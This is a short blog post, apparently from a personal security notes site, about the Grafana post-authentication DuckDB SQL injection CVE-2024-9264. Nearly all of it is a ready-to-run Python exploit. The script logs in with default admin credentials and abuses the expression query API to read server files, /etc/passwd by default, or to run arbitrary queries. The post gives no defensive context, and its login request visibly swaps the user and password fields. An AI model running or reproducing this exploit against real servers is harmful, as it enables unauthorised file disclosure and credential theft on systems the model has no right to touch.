Post

Cve 2024 9264

Cve 2024 9264

Grafana认证后DuckDB-SQL注入漏洞(CVE-2024-9264)

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python3

# https://github.com/nollium/CVE-2024-9264/tree/main
# - Requirements (install with pip): 
#   ten
#   psycopg2-binary

from ten import *
from tenlib.flow.console import get_console
from typing import cast, List, Dict, Optional, Any
from psycopg2.extensions import adapt
import sys

# Force ten to output to stderr so the user can redirect the file output separately from the message log
# E.g: python3 CVE-2024-9264.py -f /etc/passwd https://localhost:3000 > file.txt 2> logs.txt
console = get_console()
console.stderr = True


@inform("Logging in with provided or default credentials")
def authenticate(session: ScopedSession, user: str, password: str) -> None:
    path = "/login"
    data = {"password": user, "user": password}
    res = session.post(path, json=data)
    msg = res.json()["message"]
    if msg == "Logged in":
        msg_success(f"Logged in as {user}:{password}")
    else:
        failure(f"Failed to log in as {user}:{password}")


@inform("Running duckdb query")
def run_query(session: ScopedSession, query: str) -> Optional[List[Any]]:
    path = "/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101"
    data = {
        "from": "1729313027261",
        "queries": [
            {
                "datasource": {
                    "name": "Expression",
                    "type": "__expr__",
                    "uid": "__expr__",
                },
                "expression": query,
                "hide": False,
                "refId": "B",
                "type": "sql",
                "window": "",
            }
        ],
        "to": "1729334627261",
    }

    res = session.post(path, json=data)
    data = cast(Dict, res.json())

    if data.get("message"):
        msg_failure("Received unexpected response:")
        msg_failure(json.encode(data, indent=4))  # prettify json
        return None

    values = data["results"]["B"]["frames"][0]["data"]["values"]
    values = cast(List, values)
    if len(values) == 0:
        failure("File not found")

    msg_success("Successfully ran duckdb query:")
    msg_success(f"{query}:")
    return values


# Output's non-printable characters are unicode escaped
def decode_output(values: List[str]) -> bytes:
    content = values[0][0]
    decoded = content.encode("utf-8").decode("unicode_escape").encode("latin1")
    return decoded


@entry
@arg("url", "URL of the Grafana instance to exploit")
@arg("user", "Username to log in as, defaults to 'admin'")
@arg("password", "Password used to log in, defaults to 'admin'")
@arg("file", "File to read on the server, defaults to '/etc/passwd'")
@arg("query", "Optional query to run instead of reading a file")
def main(url, user="admin", password="admin", file=None, query=None):
    """Exploit for Grafana post-auth file-read (CVE-2024-9264)."""
    if file and query:
        failure(
            "Cannot specify both file and query arguments at the same time."
        )

    session = ScopedSession(base_url=url)
    authenticate(session, user, password)

    # Escape DuckDB string using PostgresSQL syntax:
    # https://stackoverflow.com/questions/77964687/what-do-i-need-to-escape-for-strings-in-duckdb
    if not query:
        file = file or "/etc/passwd"
        escaped_filename = adapt(file)
        query = f"SELECT content FROM read_blob({escaped_filename})"

    content = run_query(session, query)
    if content:
        if file:
            msg_success(f"Retrieved file {file}:")
            # Send raw bytes to stdout
            decoded = decode_output(content)
            
            # Print the file contents to stdout
            console.file.flush()
            console.stderr = False
            bin_print(decoded)
        else:
            # Output the raw "results" json object
            print(json.encode(content, indent=4))


# pylint: disable=no-value-for-parameter
main()

Referens

This post is licensed under CC BY 4.0 by the author.